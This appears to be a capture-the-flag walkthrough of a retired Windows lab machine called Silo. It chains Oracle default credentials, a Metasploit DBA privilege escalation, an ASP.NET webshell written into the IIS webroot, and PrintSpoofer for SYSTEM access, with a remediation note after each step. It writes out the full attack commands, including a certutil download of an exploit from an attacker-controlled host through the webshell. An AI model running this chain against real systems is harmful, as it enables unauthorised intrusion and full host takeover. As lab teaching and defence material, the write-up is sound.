← all walkthroughs

Silo

Windows· Medium
owned
2026-07-08
time to own
13m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

A full TCP port scan surfaced a legacy Oracle Database 11g TNS listener still accepting the factory-default credential pair scott/[REDACTED: recovered credential] Authenticated to the database, I leveraged a known Oracle index-privilege-escalation flaw to promote the limited SCOTT account to full DBA rights. As DBA, I created an Oracle DIRECTORY object pointing at the IIS web server's document root and used Oracle's built-in DBMS_XSLPROCESSOR.CLOB2FILE package to write an ASP.NET command-execution webshell into that directory, bridging the database and operating-system layers.

The webshell gave remote command execution as the IIS worker process, which held SeImpersonatePrivilege; PrintSpoofer was staged via certutil and used to coerce a SYSTEM-level named-pipe token, yielding full administrative control of the Windows Server 2012 R2 host.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and service fingerprinting (T1046)
Discovered all open services, including a legacy Oracle TNS listener on port 1521
A full TCP port scan of $TARGET revealed six services: IIS 8.5 on port 80, RPC/NetBIOS/SMB on ports 135/139/445 (Windows Server 2012 R2 Standard, SMBv1 enabled, signing disabled), WinRM on port 5985, and an Oracle TNS Listener version 11.2.0.2.0 on port 1521. SMB null-session and anonymous share enumeration returned STATUS_ACCESS_DENIED — the guest account was disabled and no shares were readable unauthenticated — ruling out SMB as an entry path and directing attention to the Oracle listener on 1521.
Nmap confirmed Oracle TNS Listener 11.2.0.2.0 on port 1521; nxc smb returned name:SILO, signing:False, SMBv1:True; anonymous SMB enumeration returned STATUS_ACCESS_DENIED.
Exact commands 3
Full TCP port sweep to identify all listening services.
nmap -p- --min-rate 3000 -T4 -Pn $TARGET
Version and default-script scan on key discovered ports.
nmap -sV -sC -p 80,135,139,445,1521,5985 -Pn $TARGET
Test anonymous SMB share enumeration — returned STATUS_ACCESS_DENIED, ruling out unauthenticated SMB entry.
nxc smb $TARGET --shares
2EnumerationOracle TNS SID brute-force enumeration
Brute-forced the Oracle TNS listener to identify the active database SID
Oracle TNS listeners accept unauthenticated connection probes for any SID name and return a distinctive error for invalid versus valid SIDs, enabling brute-force enumeration of active database instance names without any credentials. Metasploit's sid_brute scanner iterated its built-in SID wordlist against port 1521 and confirmed that SID XE (Oracle Express Edition) was valid and accepting connections — a prerequisite for any subsequent authentication attempt.
Auxiliary/scanner/oracle/sid_brute returned: [+] Found SID: XE against $TARGET:1521.
Exact commands 1
Iterates common Oracle SID names against the unauthenticated listener; confirmed SID XE is active.
msfconsole -q -x "use auxiliary/scanner/oracle/sid_brute; set RHOSTS $TARGET; set RPORT 1521; run; exit"
FixRemove Oracle default demonstration accounts and restrict TNS listener network accessCritical
WeaknessThe Oracle SCOTT demonstration account with its factory password '[REDACTED: recovered credential]' had never been changed or locked post-installation, and the TNS listener on port 1521 was reachable from any host on the network. Anyone who could reach the port could authenticate to the database without any prior knowledge of the organisation.
FixImmediately lock or drop all Oracle demonstration accounts: ALTER USER SCOTT ACCOUNT LOCK; and repeat for HR, OE, SH, BI, OUTLN, and all other built-in accounts listed in the Oracle installation guide. Enforce a database profile (CREATE PROFILE) that rejects known-default passwords and requires rotation. Restrict TNS listener connectivity to authorised management subnets only via a host-based firewall rule or sqlnet.ora TCP.VALIDNODE_CHECKING — a database listener should never be reachable from general network ranges.
3Initial AccessDefault credential exploitation (T1078.001)
Authenticated to Oracle Database XE using the never-changed factory-default account scott/[REDACTED: recovered credential]
Oracle ships a built-in demonstration account named SCOTT with the well-known default password '[REDACTED: recovered credential]'. This account had never been locked or had its credentials changed after installation. Metasploit's oracle_login module tested all pairs from Oracle's published default password list against SID XE and confirmed scott/[REDACTED: recovered credential] as valid. The same credentials were immediately tested against SMB (port 445) and WinRM (port 5985) and returned STATUS_LOGON_FAILURE on both, confirming access was confined to the database tier.
Auxiliary/admin/oracle/oracle_login: [+] Found credentials scott/[REDACTED: recovered credential] for SID XE; nxc smb $TARGET -u scott -p [REDACTED: recovered credential] returned STATUS_LOGON_FAILURE; WinRM test also failed.
Exact commands 3
Tests all Oracle default credential pairs against the discovered SID; recovered scott/[REDACTED: recovered credential]
msfconsole -q -x "use auxiliary/admin/oracle/oracle_login; set RHOST $TARGET; set RPORT 1521; set SID XE; set CSVFILE /usr/share/metasploit-framework/data/wordlists/oracle_default_passwords.csv; run; exit"
Credential-reuse check against SMB — returned STATUS_LOGON_FAILURE; database-only access confirmed.
nxc smb $TARGET -u scott -p $PASSWORD
Credential-reuse check against WinRM — also failed.
nxc winrm $TARGET -u scott -p $PASSWORD
4Privilege Escalation (DB)Oracle function-based index SYS-context privilege injection (T1068)
Escalated the SCOTT database account to full DBA via an Oracle index-context privilege vulnerability
SCOTT initially held only limited session privileges — no CREATE ANY DIRECTORY, no DBA role — insufficient to write to arbitrary OS paths. Metasploit's oracle_index_privesc module exploited a known Oracle 11g defect: when a function-based index referencing a user-supplied function is created on a SYS-owned table, Oracle evaluates the index-function body under SYS privileges. The module injected a GRANT DBA TO SCOTT statement into this SYS-context evaluation path, promoting SCOTT to DBA without any administrator involvement. With DBA rights, SCOTT could create DIRECTORY objects and execute any built-in database package, including filesystem-write procedures.
Auxiliary/admin/oracle/oracle_index_privesc executed GRANT DBA TO SCOTT successfully; post-exploitation SELECT privilege FROM session_privs confirmed DBA role active for SCOTT.
Exact commands 1
Injects a GRANT statement through the SYS-context index gadget; SCOTT is promoted to DBA upon success.
msfconsole -q -x "use auxiliary/admin/oracle/oracle_index_privesc; set RHOST $TARGET; set RPORT 1521; set SID XE; set DBUSER scott; set DBPASS $PASSWORD; set TABLE SYS.DUAL; set SQL GRANT DBA to SCOTT; run; exit"
FixPatch Oracle Database or migrate to a supported release to eliminate the index-privilege-escalation vulnerabilityCritical
WeaknessOracle Database 11.2.0.2.0 contains a vulnerability where a low-privileged account can self-escalate to DBA by injecting SQL into the SYS-context evaluation of a function-based index definition, requiring no human involvement or pre-existing elevated access.
FixOracle 11.2.0.x reached end-of-life in 2020 and receives no further security patches. Migrate to Oracle Database 19c (extended support through 2027) or 21c as soon as operationally feasible. Until migration, apply the most recent available Oracle Critical Patch Update for your 11g release. As an interim measure, deploy Oracle Database Vault to enforce separation-of-duty controls that prevent accounts from granting themselves elevated roles, and remove all unnecessary EXECUTE grants on SYS-owned packages from non-SYS accounts.
5ExploitationOracle DBMS_XSLPROCESSOR.CLOB2FILE arbitrary file write to IIS webroot (T1505.003)
Wrote an ASP.NET webshell into the IIS document root using Oracle's filesystem-write package
As DBA, SCOTT had execute rights on Oracle's DBMS_XSLPROCESSOR.CLOB2FILE procedure, which writes an arbitrary character buffer to any OS file path the Oracle service account can reach on disk. First, a DIRECTORY database object named WEBROOT was created pointing at C:\inetpub\wwwroot, the IIS server's document root. Then DBMS_XSLPROCESSOR.CLOB2FILE wrote an ASP.NET command-execution webshell (s.aspx) to that directory. Because IIS was already serving port 80 from that root, the webshell was immediately reachable over HTTP — database credentials had become OS-level remote code execution.
HTTP GET to http://$TARGET/s.aspx returned a valid HTTP 200 response; curl --data-urlencode 'c=whoami' returned the IIS worker process identity, confirming webshell execution.
Exact commands 3
Creates the Oracle DIRECTORY object pointing at the IIS webroot; the path must be in single quotes — a bare unquoted path fails with ORA-01780.
msfconsole -q -x "use auxiliary/admin/oracle/oracle_sql; set RHOST $TARGET; set RPORT 1521; set SID XE; set DBUSER scott; set DBPASS $PASSWORD; set SQL CREATE OR REPLACE DIRECTORY WEBROOT AS 'C:\\inetpub\\wwwroot'; run; exit"
Run a Metasploit resource file containing: BEGIN DBMS_XSLPROCESSOR.CLOB2FILE(TO_CLOB('<aspx_shell_source>'), 'WEBROOT', 's.aspx'); END; — writing the .aspx shell content to an .rc file avoids inline quoting complexity; replace <aspx_shell_source> with a standard cmd-exec ASP.NET shell template.
msfconsole -q -r /tmp/ora_shell.rc
Verify the deployed webshell executes commands as the IIS worker process.
curl -s --get --data-urlencode "c=whoami" http://$TARGET/s.aspx
FixPrevent Oracle from writing files into IIS-served directoriesCritical
WeaknessThe Oracle Windows service account had write access to C:\inetpub\wwwroot, and DBA-level Oracle accounts could create DIRECTORY objects and call DBMS_XSLPROCESSOR.CLOB2FILE to write arbitrary content — including executable ASP.NET scripts — directly into the web server's document root, turning database credentials into remote OS code execution via HTTP.
FixRun the Oracle Windows service under a dedicated, least-privilege service account (e.g., svc-oracle) that has no write access to any IIS-served directory. Apply explicit NTFS deny-write ACLs on C:\inetpub\wwwroot for all accounts except the IIS application pool identity and local administrators. In the database, revoke EXECUTE ON DBMS_XSLPROCESSOR from all non-SYS accounts and DROP all DIRECTORY objects not required for legitimate business operations. Verify no Oracle-writable path overlaps with any web-served path on the same host.
6FootholdWeb shell OS command execution and token privilege enumeration (T1505.003 / T1134)
Executed OS commands through the webshell, read the user flag, and confirmed SeImpersonatePrivilege
The ASP.NET webshell at /s.aspx accepted arbitrary operating-system commands via a query-string parameter, ran them through cmd.exe as the IIS worker process, and returned standard output in the HTTP response body. A type command retrieved the user flag from C:\Users\Phineas\Desktop\user.txt. A whoami /priv enumeration revealed that the IIS worker account held SeImpersonatePrivilege in an enabled state — a privilege that allows any code in that process to impersonate a higher-privileged Windows token, providing a direct and reliable path to SYSTEM.
Curl --data-urlencode 'c=type C:\Users\Phineas\Desktop\user.txt' returned <user.txt>; whoami /priv confirmed SeImpersonatePrivilege: Enabled.
Exact commands 2
Read the user flag through the webshell.
curl -s --get --data-urlencode "c=type C:\Users\Phineas\Desktop\user.txt" http://$TARGET/s.aspx
Enumerate token privileges — SeImpersonatePrivilege: Enabled is the prerequisite for PrintSpoofer/potato-style SYSTEM escalation.
curl -s --get --data-urlencode "c=whoami /priv" http://$TARGET/s.aspx
7Privilege Escalation (OS)SeImpersonatePrivilege abuse — PrintSpoofer print-spooler named-pipe token impersonation (T1134.001)
Abused SeImpersonatePrivilege with PrintSpoofer to impersonate NT AUTHORITY\SYSTEM and read the root flag
The IIS worker process held SeImpersonatePrivilege, which permits any code running under that process to impersonate a Windows security token offered to it — including a SYSTEM-level token coerced through the Windows print spooler named-pipe interface. PrintSpoofer64.exe implements this attack: it creates a fake named pipe, tricks the spooler service into authenticating to it, captures the resulting SYSTEM token, and uses it to launch an arbitrary command. The binary was staged on my own HTTP server, fetched onto the target using certutil (a built-in Windows utility that retrieves URLs — a living-off-the-land technique), and executed through the webshell to read the root flag as NT AUTHORITY\SYSTEM.
Certutil -urlcache -f http://$ATTACKER_IP:9000/win/PrintSpoofer64.exe C:\Windows\Temp\ps.exe && ps.exe -c cmd /c type C:\Users\Administrator\Desktop\root.txt returned <root.txt> as nt authority\system.
Exact commands 4
Serve PrintSpoofer64.exe from my machine; run in a separate terminal before the following steps and replace $ATTACKER_IP with your HTB tun0 IP throughout.
python3 -m http.server 9000
Download PrintSpoofer64.exe onto the target using the certutil LOLBin via the webshell.
curl -s --get --data-urlencode "c=certutil -urlcache -f http://$ATTACKER_IP:9000/win/PrintSpoofer64.exe C:\Windows\Temp\ps.exe" http://$TARGET/s.aspx
Verify PrintSpoofer escalates to nt authority\system before reading the flag.
curl -s --get --data-urlencode "c=C:\Windows\Temp\ps.exe -c \"cmd /c whoami\"" http://$TARGET/s.aspx
Read the root flag as NT AUTHORITY\SYSTEM.
curl -s --get --data-urlencode "c=C:\Windows\Temp\ps.exe -c \"cmd /c type C:\Users\Administrator\Desktop\root.txt\"" http://$TARGET/s.aspx
FixRemove SeImpersonatePrivilege from IIS application pool identitiesHigh
WeaknessThe IIS worker process (w3wp.exe) ran with SeImpersonatePrivilege enabled. Any code executing inside IIS — including a dropped webshell — can exploit this right to coerce and impersonate a SYSTEM-level Windows token via named-pipe tricks (PrintSpoofer, Potato variants), jumping from web-process access to full SYSTEM control in seconds with no further exploitation required.
FixConfigure all IIS application pools to run under ApplicationPoolIdentity or a custom low-privilege service account. Explicitly remove SeImpersonatePrivilege for those identities via Local Security Policy (secpol.msc → Local Policies → User Rights Assignment → Impersonate a client after authentication) and enforce the setting through Group Policy. Confirm the change by running whoami /priv from the application pool context and verifying the privilege is absent. Complement this with Windows Defender Exploit Protection process-mitigation policies for w3wp.exe to further constrain token-abuse techniques.

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Exposed services

80/tcp
135/tcp
139/tcp
445/tcp
5985/tcp
1521/tcp